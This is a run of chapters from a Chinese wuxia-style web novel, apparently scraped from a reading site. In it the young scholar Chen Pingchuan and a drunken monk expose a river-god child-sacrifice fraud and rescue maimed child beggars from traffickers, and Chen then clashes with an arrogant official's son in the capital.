冲在最前面的几名恶奴只觉手腕猛地一凉,一股钻心的剧痛传来,便再也使不上一丝力气,手中的钢刀“当啷”一声,尽数落地。他们惊骇地看着自己的手腕,那里不知何时已多了一道深可见骨的血痕。 赵五看得暗自心惊,浑身都在颤抖。他知道自己惹到了两个煞星。哪里还敢停留,怪叫一声,转身就想逃出巷子。 太平道长眼神一寒。 只听“呛”地一声龙吟,背后古剑自行出鞘,化作一道追魂夺魄的凄厉寒光,在夜空中划过一道死亡的弧线。 噗! 赵五的头颅应声飞起,在空中翻滚着,脸上还凝固着最后惊恐与不信的表情。 无头身躯前冲了几步,腔中的热血如喷泉般冲天而起,又如红雨般洒下,将冰冷的石板路染得一片血红。 其他走狗见主人死了,顿时吓得一哄而散。 了尘和尚停下脚步,醉意消散了些许,眉头紧紧皱起,望向收剑的太平道长。 “牛鼻子,你又开杀戒!上天有好生之德,这厮虽是恶人,给他个终身残疾的教训便是,何必非要取他性命?” 太平道长冷哼一声,长剑嗡鸣一声,自行归鞘。 “此等败类,如附骨之蛆,留之何用?不以雷霆手段,何以儆效尤?你那套慈悲的说辞,救不了这已经从根上腐烂的世道!” 陈平川目睹这震撼心神的一幕,强压下心中的激荡,快步上前,对着二人深深一揖。 “多谢二位前辈救命之恩,大恩大德,晚生没齿难忘。” 太平道长转过身,那双冷厉的眼睛微微缓和,他上下打量着陈平川,缓缓摇头,语气中带着一丝近乎怜悯的漠然:“你便是那做出‘万民苦作舟’的少年?有此胆识,不易。但你妄图以一己之力改变朝局,澄清玉宇,无异于螳臂当车,痴人说梦。” 他顿了顿,声音更冷:“这大业朝,早已病入膏肓,非刮骨疗毒的猛药不能医。天下将乱,你还是速速归家,寻一处山林隐居,尚能保全性命。” “道长此言差矣。”了尘和尚又灌了口酒,走了过来,酒气扑鼻,“天下大乱,百姓更苦,你让他山林隐居,就能逃得过吗?依洒家看,这小施主心有锦绣,或许能在这污浊世道中,闯出一条新路来。” 他一把拉住太平道长,将他拽到一旁,压低了声音,眼神却前所未有地清明。 “牛鼻子,你我争论多年,不如今日打个赌如何?洒家护送他进京,看他能否凭这支笔,在这浑浊的官场中,为天下苍生点亮一盏明灯。若他能成,你便放弃那刺杀皇帝、搅乱天下的疯念头。若他不成,洒家便随你一起,共图大业,将这腐朽的王朝,连根拔起,彻底推翻!” 太平道长沉默了。 他深深地看了陈平川一眼,那目光仿佛穿透了他的血肉,直抵他的灵魂深处。 良久,他猛地一拂袖袍,转身离去,玄色道袍在风中猎猎作响。 只留下一句冰冷的话语,在空寂的巷中回荡。 “秃头,贫道在京城,等着看你们的结果!” PC站点如章节文字不全请用手机访问 了尘和尚看着他远去的背影,笑嘻嘻地走到陈平川面前,重重地拍了拍他的肩膀,震得他一个趔趄。 “小施主,别怕。洒家正好要去京城大相国寺讨碗斋饭,顺便办点小事,你我同路,路上也好做个伴,如何?” 陈平川暗自思量,他虽不知道二人的来历,却清楚地知道,眼前这位游戏风尘的邋遢和尚,是位武功盖世、心怀苍生的绝顶高手。 有他同行,自己的性命就有了保障。 他心中大喜过望,立刻躬身行礼,语气诚恳:“多谢大师!” 二人不再耽搁,迎着天边初升的、带着微红的朝阳,二人一前一后,踏上了前往京城的漫漫长路。 …… 这一日,他们行至一处名为“望河镇”的地方,入目竟是一片诡异的喜庆。 家家户户的屋檐下,都挂着崭新的红灯笼,长街之上,甚至铺着崭新的红绸,随风微动,像是流淌的血脉。 然而,这本该热闹欢腾的景象,却被一种死寂的压抑笼罩着,带着一股说不出的诡异。 街上的行色匆匆的镇民,脸上没有半分喜色,反而个个面带愁容。 了尘和尚那双醉眼扫过这番景象,眉头渐渐皱起。他拦住一个挑着空担子、脚步慌乱的汉子,开口问道:“这位大哥,镇上是有什么大喜事吗?怎的大家一个个愁眉苦脸,看着倒像是在奔丧?” 那汉子吓得浑身一哆嗦,他惊恐地看了一眼四周,连忙摆手,将声音压得很低:“嘘!大师可千万别乱说!今日是‘河神娶亲’的大日子,要给河神爷送新娘子过去,求他老人家保佑咱们风调雨顺呢!” 陈平川心头一凛,眉头紧紧皱起。所谓的“河神娶亲”,他曾在野史杂谈中见过,无一不是愚昧血腥的代名词。 没想到,自己竟然遇到了。 “娶亲?”他故作好奇地问,“不知是哪家的姑娘如此有福气,能嫁与神明?” 汉子的脸色瞬间惨白如纸,叹口气,朝着镇外那条波涛汹涌的大河方向指了指,声音里满是无奈和悲凉:“每年……都要选一个七岁的女娃……投入河里……献给河神爷……” 说完,那汉子不愿多言,挑着扁担匆匆而去。 陈平川和了尘和尚对视一眼,一起向河边走去。 河岸上,黑压压地挤满了人,人头攒动,却无人说话,只有河水咆哮的怒吼声在耳边回荡。 PC站点如章节文字不全请用手机访问 第104章 活人献祭?教科书式解决问题! 一座用泥土和石头临时堆砌的高台上,一个打怪怪异的老太婆正癫狂地扭动着干瘪的身躯。 她满脸的褶皱深得能夹死苍蝇,一双三角眼阴鸷而浑浊,身上穿着五彩斑斓的怪异服饰,插满了鸟类的羽毛,随着她的舞动簌簌作响。她便是镇民口中能与河神沟通的巫婆。 高台之下,一个粗陋的木笼子显得格外刺眼。 笼子里,一个瘦小的女孩被死死锁住。她身上那件大红色的嫁衣又大又沉,像一件刑具,将她整个人都罩在里面。 女孩的小脸被泪水和泥土糊得一塌糊涂,哭得撕心裂肺,嗓子早已沙哑不堪,只能发出小兽般绝望的呜咽。 笼子旁,一对中年夫妇死死地跪在泥地里,额头磕破了,渗出的血混着尘土凝固成暗红色。他们身体剧烈地颤抖着,却连头都不敢抬一下,只能任由女儿那一声声撕扯心肝的哭喊,折磨着他们的灵魂。 了尘和尚看到这一幕,脸上的醉意瞬间消失得无影无踪,取而代之的是一片冰冷的肃杀。 那双总是带着几分戏谑的眼睛里,此刻燃起了滔天的怒火,仿佛要将这浑浊的世道焚烧殆尽。 拨开身前麻木的人群,了尘和尚一个箭步冲到台前,手中酒葫芦直指巫婆,声如洪钟,厉声呵斥:“光天化日,朗朗乾坤!竟敢以活人祭祀!此乃伤天害理的邪说!还不快把孩子放了!” 巫婆阴冷的目光如毒蛇般扫向了尘,随即发出一声夜枭般尖厉的叫喊:“哪里来的妖僧!竟敢在此亵渎河神!你是想惹怒河神爷,让我们全镇老小都遭受水患天灾,被淹死在这望天河里吗?” 她的话极具煽动性,那些原本神情麻木的镇民,眼中立刻燃起了被恐惧点燃的怒火,齐齐转向了尘。 “妖僧,快滚!” “他想害死我们全村人!” “把他跟新娘子一起沉河,给河神爷赔罪!” 看着那笼中哭泣的女童,陈平川的拳头瞬间攥紧,那张挂满泪痕的梨花带雨的小脸,像极了当年差点被卖掉的妹妹平玉。 一股无法遏制的怒火自胸腔深处轰然涌上,烧得他四肢百骸都有些发冷。 不过,他却比了尘和尚冷静多了。 他一把拦住正要动手的了尘和尚,在他耳边用只有两人能听到的声音低语:“大师,对付愚昧,拳头不如智慧。” 说完,他挤出人群,步履沉稳地走到高台前,对着台上那装神弄鬼的巫婆拱了拱手,大声说道:“巫师且慢!” 所有人的目光,包括那些叫嚣的镇民,都集中到了他身上。 陈平川不理会众人,只是看着巫婆,表情平静:“在下乃云游方士,略通阴阳五行之术。昨夜我路过贵地,夜观天象,见星宿错位,这可不是什么好兆头,现在又看这女童的面相,根骨寻常,恐怕……并非河神所喜的佳偶啊。” 他惋惜地摇了摇头,语气沉重:“万一送错了新娘,惹得河神他老人家龙颜大怒,降下天灾,这个责任,请问谁能担待得起?” 巫婆被他这番话说得一愣,随即厉声反驳,声音尖利刺耳:“一派胡言!这新娘子是河神爷亲自托梦于我,在全镇千挑万选出来的,八字相合,命格相配,岂会有错!” “哦?原来是婆婆您亲自得的梦啊!”陈平川故作恍然大悟,随即笑了起来,那笑容里带着一丝狡黠,“既然如此,那事情就好办了。不如就请婆婆您亲自下水一趟,去问问河神爷,看他老人家对这位新娘子是否满意?” “万一不行,我们也好赶紧补救,换个合适的人选才对。” 他转过身,环视一周,对着所有镇民提高了音量,语气恳切:“大家说是不是这个道理?婆婆您是河神的使者,凡人畏惧的河水,于您而言想必如履平地。您下去问清楚了,河神爷要是点头了,我们再献祭也不迟。这样既显虔诚,又最是稳妥!” 此言一出,原本还怒气冲冲、敌视着他们的镇民们,瞬间安静了下来。他们面面相觑,眼神中的怒火渐渐熄灭,取而代之的是迟疑和思索。 是啊,这少年说得……好像很有道理。巫婆既然能跟河神沟通,下水去当面问一句,总比错送了新娘子、惹来大祸要强得多吧? 一时间,所有人的目光都从陈平川和了尘身上,齐刷刷地转向了台上的巫婆,那眼神里,充满期待。 巫婆的脸色“唰”地一下变得惨白,毫无血色。 PC站点如章节文字不全请用手机访问 她一个彻头彻尾的旱鸭子,别说这波涛汹涌的河水,就是村口的池塘都能轻易淹死她!这怎么下水? 她指着陈平川,嘴唇哆嗦着,半天说不出一句完整的话,只能色厉内荏地嘶吼:“你……你你……你们这些凡夫俗子,无知!愚昧!竟敢质疑神谕!” 可她越是心虚,越是厉声呵斥,台下村民们眼神中的怀疑就越是浓重。 陈平川见时机已然成熟,再次朗声开口,语气中带着疑惑:“我看婆婆面有难色,莫非……您不认识河神?也是,这事确实难办。” 他话锋陡然一转,声音里透出一股冰冷,直刺巫婆的内心:“毕竟这祭典每年都要收那么多香火钱,金银珠宝的,要是没了河神,这钱可就……” 他没有把话说完,但那未尽之意,如同一道惊雷,在每个镇民的脑海中轰然炸响! 人群死寂了一瞬,随即彻底炸开了锅! 对啊!钱!每年祭典,家家户户都要被这巫婆以“河神聘礼”的名义搜刮去大笔的钱财和粮食! 他们勒紧裤腰带,省下救命的口粮,就是为了供奉这位“神使”! 原来自己多年的虔诚与恐惧,换来的竟是一场彻头彻尾的骗局! 被压抑的愤怒和被欺骗的屈辱,在这一刻如同火山般轰然爆发! “骗子!还我家的钱来!” “原来根本没有河神!都是这个老妖婆在骗我们!” “打死她!把她扔进河里去见她那个假河神!” 不等陈平川和了尘和尚再有任何动作,愤怒的镇民便如失控的潮水般一拥而上。 他们掀翻了高台,将尖叫挣扎的巫婆从泥地里拖拽出来,又冲进她那比镇上任何人都要富丽的住所,将她那些年搜刮来的、堆积如山的金银财宝全都抬了出来。 在无数人愤怒的嘶吼声中,巫婆连同她那些沾满了血泪与谎言的财富,被一同丢进了汹涌的河水之中,让她自己去“面见河神”了。 PC站点如章节文字不全请用手机访问 第105章 平川揭露人贩魔窟,了尘化身怒目金刚 了尘和尚站在一旁,看着这戏剧性的一幕,张着嘴巴,半天没能合拢。 他原本已经做好打算,以一敌百,把孩子救出来。 结果,陈平川几句话就化解了危机,不但救了孩子,还把那可恶的巫婆给解决了。 他怔怔地看着陈平川正平静地安抚着抱头痛哭的一家人,心里感叹。 这个少年,不仅有“为生民立命”的慈悲之心,更有破除愚昧的雷霆手段和非凡智慧。 了尘和尚仰头灌了一大口烈酒,酒水顺着嘴角流下,他却浑然不觉。他走到陈平川身边,蒲扇般的大手重重地拍了拍他的肩膀。 “小施主,贫僧服了你了!” 这一刻,他对那个与太平道人立下的赌约,信心又增添了几分。 …… 风波平息,望河镇的河水依旧奔流,却再也带不走活祭的童女。 笼罩镇子的那层迷信与恐惧的阴霾,被陈平川四两拨千斤的智慧轻轻一拨,便烟消云散了。 陈平川给家里写信报了平安,随后与了尘和尚再度起程,数日后,一座更为宏伟的州府轮廓,出现在他们的前方。 城墙是用青灰色的巨石砌成,高耸入云,穿过深邃的城门洞,眼前豁然开朗。 宽阔得能容纳四驾马车并行的街道上,人流如织,摩肩接踵。 两旁的商铺鳞次栉比,锦缎庄的绸缎在阳光下流光溢彩,茶楼里飘出沁人心脾的清香,小贩的叫卖声、车马的滚滚声、行人的说笑声,交织成一派热烈喧嚣的盛世华景。 然而,在这幅流光溢彩的画卷之上,总有几处墨点般的污渍,刺眼地存在着。 街角,高大府邸的朱红高墙之下,蜷缩着几个影子。 他们是些孩子,衣衫褴褛,像破布条一样挂在身上,小脸满是污渍。 一个男孩的右臂袖管空空荡荡,随着身体的挪动无力地摆动着。 另一个女孩双目紧闭,眼眶深深地凹陷下去,还有一个拖着一条不成形状的腿,每挪动一下,额上便渗出细密的冷汗。 他们每一个都神情麻木,脸上蒙着一层灰败死气,向着过往行人伸着脏污的小手,不哭不闹,只是无声地、机械地向每一个经过的行人乞讨。 陈平川动了恻隐之心,他停下脚步,从怀中摸出几十个铜板和路上备下的干粮,弯下腰,一一放到那些孩子的手中。 “拿着,快吃吧。”他的声音很轻。 孩童们的手指触到银子和食物的瞬间,死死地攥紧,陈平川没有在他们眼中看到丝毫喜悦,甚至没有一丝感激。 那空洞的瞳孔里,只剩下麻木。 “阿弥陀佛……小施主宅心仁厚,贫僧替这些可怜的孩子谢谢你。” 了尘双掌合十,向着陈平川微微鞠躬。 但陈平川却没有反应,他的目光瞥向街对面一个毫不起眼的杂货铺角落,眼里闪过一丝异色。 “大师,有些不对劲。” “哦?” PC站点如章节文字不全请用手机访问 “突然间出现这么多残疾孩子乞讨,背后肯定有问题!” “小施主的意思是?” “我们……” 陈平川将自己的计划低声告诉了尘和尚,和尚的表情顿时变得凝重起来,点点头。 随后,他们装作无事人一般离开这里,藏在一处街角,注视着那些孩子。 日头西落,那些孩子相互搀扶着站起身、一瘸一拐在昏暗的巷道里穿行,走出了灯火通明的城区,进入城郊一座破败荒废的古庙里。 陈平川和了尘和尚远远地跟着,到了古庙,两人交换了一个眼神,屏住呼吸,悄然潜到荒庙的后墙,从一扇朽烂的窗棂缝隙向里望去。 庙宇正中,一堆篝火烧得正旺,橘红色的火光将几张凶神恶煞的脸映照得如同地狱恶鬼。 三四个男子正围坐在一起,兴奋地笑着,将一堆铜板和碎银哗啦啦地倒在地上瓜分,那正是白天孩童们乞讨来的钱财。 而在他们身后的阴暗角落里,那些孩子被粗糙的麻绳拴着脖子,像一群待宰的牲口,拥挤地缩成一团。他们面前只放着一个缺了口的破碗,里面是些已经馊掉的残羹冷炙。 一个最小的孩子生了病,不停咳嗽,引来一个蓝衣男子的厌烦。 男子走过去抬起脚,狠狠一脚踹在孩子的心窝上。 孩子顿时翻滚出去,蜷缩在地上痛苦地抽搐,却连哭声都不敢发出来。 “妈的,赔钱货,要死赶紧死!”男子啐了一口,浑不在意。 另一个满脸横肉的汉子抓起一把铜钱,在手里掂了掂,得意地向同伴炫耀:“前天我刚从外地弄来的那个小子,身子骨还挺硬朗,腿打断了一次居然还想跑。哼,老子干脆给他两条腿都拗断了,看他明天还怎么跑!再不听话,就把手剁了!好好调教,肯定比这些废物要的钱多!” “哈哈哈哈,高!还是三哥你手段高!” 人间地狱! 这四个字,在陈平川的脑海中闪过。 他看明白了,这是一个有组织、有预谋的人贩子团伙! 他们拐骗、抢掠孩童,然后用最残忍的手段将他们活生生打成残废,再逼迫他们上街乞讨,为这群恶魔榨取血淋淋的钱财! 白天自己的善心,没有温暖那些可怜的孩子,反而全都喂了这群披着人皮的恶魔! 一股冰冷的、夹杂着暴怒的火焰,从他的胸腔直冲天灵盖,烧得他浑身血液都沸腾起来。 身旁的了尘和尚,此刻脸上也布满了冰冷的寒霜。 他紧紧握着酒葫芦的手,青筋暴起。那双总是半睁半闭的醉眼,此刻清明得可怕,里面燃烧着两簇几乎要喷薄而出的怒焰。 “邪魔外道,当诛!” 了尘和尚口中低喝一声,再也无法压抑。他纵身一跃,直接破窗而入! “砰!” 巨大的声响顿时惊动了庙内众人。 那群男子惊愕回头,还未看清来人的模样,了尘和尚就已经到了他们的眼前。 他如一头含怒下山的猛虎,手中的酒葫芦,此刻化作了世间最致命的降魔法器,打的这些人渣发出撕心裂肺的凄厉惨嚎。 PC站点如章节文字不全请用手机访问 了尘和尚没有下杀手,却比直接杀了他们更狠。 卸掉下巴,让他们再也发不出得意的狂笑! 敲碎膝盖,让他们再也无法站立作恶! 拗断手腕,让他们再也挥不起施暴的拳头! 不过是十几个呼吸的功夫,庙内已再无一个站着的人。 他们全都像一滩滩烂泥,瘫在地上,痛苦地扭曲、哀嚎,用自己的身躯,品尝着自己曾施加于孩童身上的痛苦。 PC站点如章节文字不全请用手机访问 第106章 若圣上无能,朝廷腐朽,我便取而代之! 陈平川紧随其后冲了进去,他没有看那些罪有应得的人贩子一眼,径直奔向角落里吓得瑟瑟发抖的孩子们,用随身携带的匕首,割断他们身上的绳索。 “别怕,没事了,你们都得救了……” 第二天清晨,州府衙门前,聚集的百姓看到了毕生难忘的一幕。 一个少年郎挥舞木棒重重击打登闻鼓,另一个衣衫邋遢的和尚,像提溜着一串死狗,将三四个哀嚎不止的男子扔在了衙门门口。 知县升堂审问,得知真相后,这位尚存一丝良知的父母官气得浑身发抖,须发皆张。 他猛地一拍惊堂木,当堂将这伙罪大恶极之徒判了斩立决,并立刻着手安排人手,联系善堂,安置那些终于获救的孩童。 从府衙出来,正午的阳光照在身上,陈平川胸中那股郁结之气稍稍化解。 正义似乎得到了伸张。 然而,当他转过一个街角,眼前的景象却让他如坠冰窟,浑身发冷。 不远处,一个面黄肌瘦、眼窝深陷的男人,直挺挺地跪在地上,身前立着一块粗糙的木牌,上面用歪歪扭扭的木炭字写着:家贫无以为继,卖儿葬父。 他身边,一个同样瘦弱的小男孩,头上插着枯草,茫然地牵着父亲的衣角,看着来来往往的人群。 而在他们不远处的对面,一个形容枯槁的妇人,怀里抱着一个尚在襁褓中的女婴,身前的牌子上,同样写着几个令人心碎的字:卖女活命。 刚刚升起的那一点点快慰,瞬间被一股更深沉、更庞大的绝望感彻底淹没。 救了十几个孩子,又有什么用? 这光天化日之下,立刻就有人因为活不下去,要卖掉自己的亲生骨肉。 抓了一伙穷凶极恶的匪徒,又有什么用? 这世道本身,就是一个巨大的、无形的漩涡,它在源源不断地制造着悲剧,逼良为娼,逼父卖子。 了尘和尚走到他身边,仰头灌了一大口烈酒,然后长长地、沉重地叹了口气。 他看着那两个卖儿卖女、神情麻木的父母,又看向呆立失神的陈平川,目光复杂。 “小施主,你救得了这十几个孩子,可这天底下,每天又有多少孩子被卖掉,被饿死,被逼成乞丐?” “只要这世道不改,这吃人的人间惨剧,便永无休止之日。” 了尘和尚的声音很轻,却像一面大鼓,震动陈平川的心弦。 “你读圣贤书,你来告诉我,该当如何?” 陈平川沉默了。 圣贤书?圣贤书教他修身、齐家、治国、平天下。可眼前这血淋淋的惨状,书上何曾给过答案? 他看着那卖儿的父亲眼中,只剩下为了让另一个亲人活下去的麻木。 他看着那卖女的母亲脸上,混合着血与泪的绝望。 他看着这脚下繁华的街道,繁华之下,却是涌动着无尽悲苦的暗流。 心中那颗“为生民立命”的种子,在这一刻,被这无尽的血泪彻底浇灌,破土而出,以一种疯狂的姿态,冲破了他所有的犹疑和幻想。 这不再是一句挂在嘴边的空泛口号,一个遥不可及的清高理想。 PC站点如章节文字不全请用手机访问 它变成了刻骨的恨,变成了切肤的痛。 若当今圣上无能,若这大业朝廷腐朽,不能庇佑它的子民,不能还天下一个朗朗乾坤…… 那么,要这圣上何用? 要这朝廷何用! 陈平川缓缓地握紧了拳头,发出轻微的“咯咯”声。 他的眼中,那原本清澈的光芒渐渐褪去,取而代之的,是一种前所未有的、冰冷而坚定的光。 我便,取而代之! …… 巍峨的京城轮廓如巨兽伏地,在天际线上投下巨大的阴影。 城门下,人流汇聚成河。 了尘和尚将自己的酒葫芦递到陈平川嘴边,一股辛辣的酒气扑面而来。 “小施主,别嫌弃,喝了这杯离别酒,你们各奔前程。” 陈平川没有犹豫,仰头灌下,烈酒入喉,烧灼着胸膛,也点燃了眼底的火焰。 了尘和尚收回葫芦,那双总是半醉半醒的眼睛里,一片清明。 他没有多余的叮嘱,只留下了一句偈语。 “庙堂高,江湖远,灯在心中,何处不光明?” 话音刚落,他转过身,宽大的僧袍一甩,便混入了熙攘的人流之中,转眼间,就彻底消失不见。 陈平川独自站在原地,咀嚼着那句话。 庙堂与江湖,并非两个世界,而是同一个世界的两面。 真正的光明,从不假于外物,不靠权势,不依地位,而源自内心那盏不灭的灯火。 这是了尘最后的考验,也是最深的祝福。 他知道,接下来的路,只剩他自己走了。 前往礼部贡院报名的过程异常顺利,手续办妥,陈平川正式取得了春闱的资格。 然而,真正的难题才刚刚开始。 他走遍了贡院附近的几条大街,每一家客栈门前都无一例外地挂着“客满”的牌子。 连柴房都挤满了从各地赶来的考生,夜色渐深,他站在最大的一家“悦来客栈”门前,抬头望去。 楼上,天字号那一整排的房间,窗户里漆黑一片,没有半点灯火。 陈平川满怀希望走进去,便见大堂上,客栈掌柜一脸苦相,对着围住他的科举士子们,反复说着同样的话:“客官,实在对不住,楼上全被人包下了,真没地儿了。” 陈平川不信,这分明有鬼。 就在众人与掌柜理论之际,客栈外传来一阵喧哗与骚动。 PC站点如章节文字不全请用手机访问 一个身穿华贵锦袍、头戴紫金冠的贵公子,在一众家奴和奉承者的簇拥下,众星拱月般走了进来。 “啊呦,燕公子您可回来了!” 掌柜急忙挤出人群,陪着笑脸向贵公子说道:“您要的所有客房都给您留着呢,一间都没卖出去。” 陈平川从周围人的议论里得知,这贵公子是吏部侍郎之子,名叫燕世藩。 燕世藩的目光扫过挤在大堂里的寒门士子,那眼神里满是毫不掩饰的鄙夷,仿佛在看一群阴沟里的蝼蚁。 他身边一个留着山羊胡的师爷,扯着公鸭嗓子,轻蔑地扬声宣布。 “你们吵什么?我们燕公子包下了天字号所有的房间,就是为了图个清静,不想被某些穷酸气污了耳朵,赶紧去别的地方吧!” PC站点如章节文字不全请用手机访问 第107章 京城恶少作妖,陈平川:你要脸不要? 有几个血气方刚的书生按捺不住,上前理论。 “你们凭什么如此霸道!” “天子脚下,岂容你们如此霸道?” 话未说完,便被燕世藩的家奴粗鲁地推搡在地,狼狈不堪。 燕世藩看着这一幕,脸上露出快意的笑容。他从袖中抓出一大把铜钱,随手一扬,哗啦啦地扔在地上。 “别说本公子不讲理,这钱是赏你们的!捡够了,就滚去睡马路吧!哈哈哈!” 铜钱在地上滚动,发出清脆又刺耳的声响,敲打着每一个读书人的尊严。 陈平川站在人群的一角,他没有愤怒,更没有屈辱,只是眼神冰冷地看着这丑陋的一幕。 就在此时,一个坐在角落里独自饮茶的青衣书生,缓缓站了起来。 他面容俊朗,嘴角刮削,他径直走到陈平川面前,拱手一笑。 “兄台气度不凡,不必与此等俗物置气。在下慕容修,订了间地字号房,尚有空位,兄台若不嫌弃,可与我同住。” 慕容修早已将大堂中的情形尽收眼底。 所有人在燕世藩的羞辱面前,或愤怒,或畏缩,或屈辱,唯独这个少年,平静得可怕。 他看人奇准,此人,绝非池中之物! 而他最喜欢的就是结交这样的人,说不定将来,会给他带来惊喜。 燕世藩见慕容修竟敢公然拉拢他眼中的“破烂”,面露鄙夷,嗤笑一声。 “慕容修,你倒是会捡破烂。小子,想住店?” 他的下巴轻蔑地朝陈平川抬了抬。 “先答本公子一个问题,若答得出,本公子赏你一间房。答不出来,就趁早滚回家去,别在这里丢人现眼!” 燕世藩向身边的师爷递了个眼色,那师爷立刻心领神会,尖声问道。 “《仪礼》之中,士昏礼,纳采、问名、纳吉、纳征、请期,五礼备,请问,主人送使者出,再拜,其方位几何?” 这是一个极其刁钻的细节,寻常学子根本不会去记。 满堂顿时鸦雀无声,都等着看陈平川回答。 陈平川却面色平静,不假思索地回答:“主人西面,宾东面,再拜,宾退,主人不送。” 对答如流,分毫不差。 全场一片惊叹。 陈平川的目光转向燕世藩,嘴角勾起一抹淡笑,随即反问。 “燕公子学识渊博,想必也知《仪礼》中‘士相见之礼’。” 他的声音不大,语气轻松。 “不知公子今日所为,合的是哪一礼?在下愚钝,还望公子赐教。” PC站点如章节文字不全请用手机访问 此言一出,整个大堂死一般的寂静。 这是在用圣贤之言,指着鼻子骂燕世藩无礼无德,没脸没皮! 燕世藩并不是酒囊饭袋,肚子里有点墨水,当然能听出陈平川的言外之意。 他的脸瞬间涨红,嘴巴张了几下,却一个字也反驳不出来。 因为陈平川引经据典,字字诛心,他若反驳,便是公然与圣贤为敌。 慕容修眼中爆出异彩,他果然没有看错人! 随即哈哈大笑,一把拉住陈平川的手臂。 “兄台高才,何必与夏虫语冰!” 他拉着陈平川径直走向楼梯,再也不看燕世藩一眼。 两人进入地字号房,关上房门。 窗外,是燕世藩气急败坏、语无伦次的叫骂声。 窗内,是两个未来将搅动大业风云的年轻人,心照不宣的对视。 一场围绕科举的战争,在踏入京城的第一天,就已无声地打响。 …… 客栈安顿下来,陈平川的日子便过得如钟摆般规律。 他每日闭门不出,窗扉紧闭,将京城的喧嚣隔绝在外。 桌案上,策论典籍堆积如山,他一头扎进去,便是晨昏颠倒,不知今夕何夕。 而同住的慕容修则截然相反,像一只不知疲倦的蝴蝶。 他几乎夜夜外出,衣袂翩翩地穿梭于京中各式各样的文会、酒宴,结交的朋友遍布三教九流。 每次深夜归来,身上都带着几分酒气和挥之不去的脂粉香,与陈平川形成鲜明对比。 “平川兄,科举之道,七分考文章,三分靠人场。”慕容修不止一次地劝他,带着真诚,“你这样两耳不闻窗外事,纵有经天纬地之才,也怕明珠蒙尘,被泥沙掩盖啊。” 见陈平川不为所动,他压低了声音,身子凑近了些,神情也变得严肃起来:“主考官的喜好,同科士子的风评,甚至是谁与谁交好,这些都是无形的考卷。你总得出去露露脸,让人家知道庐州解元是个什么样的人物吧?” 陈平川当然明白这个道理,只是骨子里那份低调,让他本能地厌恶这种附庸风雅的交际。 见他油盐不进,慕容修终于叹了口气,拿出杀手锏:“明日礼部侍郎的公子张普初,在曲江池畔主办‘曲江诗会’,京中但凡有些才名的举子都会去。这你总该去见识见识了吧?就算不去交朋友,去听听别人的锦绣文章,知己知彼,也是好的。” 盛情难却,陈平川终是点头应下。 次日,曲江池畔,水榭楼台掩映在依依垂柳之间。湖面如镜,倒映着画舫上的丝竹与欢歌,一派文人雅集、风流蕴藉的景象。 然而陈平川刚一踏入,便感觉到了不对。 这场所谓的诗会,与其说是文人切磋,不如说是一个巨大的名利场。 而主宾席上,被一众书生众星捧月般围在中央,正满面春风、高谈阔论的,赫然便是那日在悦来客栈嚣张跋扈的吏部侍郎之子,燕世藩。 这里,是他的主场。 PC站点如章节文字不全请用手机访问 诗会开始,一个个书生起身吟咏,内容却无外乎两样,不是歌颂圣上英明、天下太平,便是吹捧燕世藩的“文采风流”,言语肉麻得令人几欲作呕。 慕容修的脸上也有些挂不住,他显然也没料到场面会如此不堪,只能尴尬地端着酒杯,小口啜饮。 就在这时,燕世藩的目光穿过人群,锁定了角落里的陈平川。 旧恨与新怨一齐涌上心头,他嘴角勾起一抹阴冷的、猫捉老鼠般的笑意。 燕世藩缓缓站起身,端着酒杯环视全场,朗声提议:“今日雅集,诸位皆是国之栋梁,不如就以‘圣上仁德,四海升平’为题,共赋诗篇,以表我等拳拳报国之心!” 话音刚落,他那只戴着玉扳指的手便猛然一指,穿过数十道目光,直直点向陈平川。 “就请那日在客栈之中,对《仪礼》颇有见地的庐州解元,陈平川陈兄,为我等开个头吧!” PC站点如章节文字不全请用手机访问 第108章 恶少诗会设局?陈平川:还来?脸不疼了是吧 那日燕世藩被陈平川当众羞辱,就立即让手下人去调查陈平川,得知此人乃是庐州解元,但却是没什么背景的寒门学子,更是怒不可遏。 今日,他定要把面子找回来! 刹那间,丝竹声停,笑语声歇。所有人的目光,如潮水般聚焦在了陈平川身上。 这是一个恶毒至极的陷阱。 赞美得太过,便坐实了阿谀奉承之名,从此在清高的士林中抬不起头。 赞美得不够,一顶“腹诽君上,心怀怨怼”的大帽子就能立刻扣下来,断送科举前程,甚至身陷囹圄。 慕容修手中的酒杯停在半空,手心已渗出细密的冷汗,他开始后悔,不该逼着陈平川来。 陈平川却只是沉默了片刻。 他缓缓起身,那张尚带几分稚气的脸上,平静得没有一丝波澜。 他的脑海中,却闪过一幕幕画面:望河镇冰冷河水中挣扎的女孩,破庙里孩子们残缺的肢体与麻木的眼神,还有那大街之上,跪在地上,为葬父而卖子的男人…… 他开了口,声音清朗,传遍全场。 “东风浩荡拂京畿,朱雀门前尽罗绮。” 开头两句一出,燕世藩脸上露出鄙夷的冷笑。 在座的众人也纷纷点头,只当他要顺着题意,歌功颂德,不过又是一篇拍马屁的锦绣文章。 然而,陈平川话锋陡然一转,语气中的温和褪去,变得锐利如刀。 “都言天街繁花景,谁怜城外露骸骨?” 满座的奉承与欢笑,仿佛被这一句诗瞬间冻结。 空气凝固,只剩下风拂过柳梢的沙沙声。 所有人脸上的表情僵在原处。 陈平川没有停,声音反而更高亢了几分,带着一股压抑不住的悲愤。 “圣恩如雨润九州,何故朱门酒肉臭?” 最后,他的目光不再看任何人,而是直视着脸色已然铁青的燕世藩,声如金石,掷地有声。 “愿借天子三尺剑,斩尽天下不平侯!” 诗句落定,全场死寂! 如果说前两句是繁华,后两句便是血泪! 那最后一句,更是毫不掩饰的滔天杀气,剑锋所指,正是以燕世藩为首的这群酒囊饭袋、靠着父辈荫庇鱼肉百姓的权贵寄生虫! “反诗!这是反诗!” 死寂被一声尖厉的咆哮打破! 燕世藩浑身发抖,不知是气的还是怕的,他指着陈平川,声嘶力竭。 “来人!来人!给我把他抓起来!送交大理寺严办!” PC站点如章节文字不全请用手机访问 周围的书生吓得面无人色,纷纷后退,椅子被撞倒的声音此起彼伏,他们唯恐与这个胆大包天的少年沾上一点关系。 然而,主办诗会的礼部侍郎公子张普初,那个一直安静坐在主位的年轻人,却缓缓抬起了手,一个简单的动作,便制止了冲上来的家奴。 他深深地看了陈平川一眼,那眼神复杂至极,有震惊,有赞叹,有欣赏。 “燕兄不要小题大做,陈兄以诗言志,心怀苍生,是为仁心,何来反意?” 他这轻飘飘的一句话,却重如泰山。 燕世藩虽然叫嚣,却也不敢在礼部侍郎公子的地盘上真的动手,只能用杀人般的目光死死瞪着陈平川。 慕容修惊得酒都醒了。 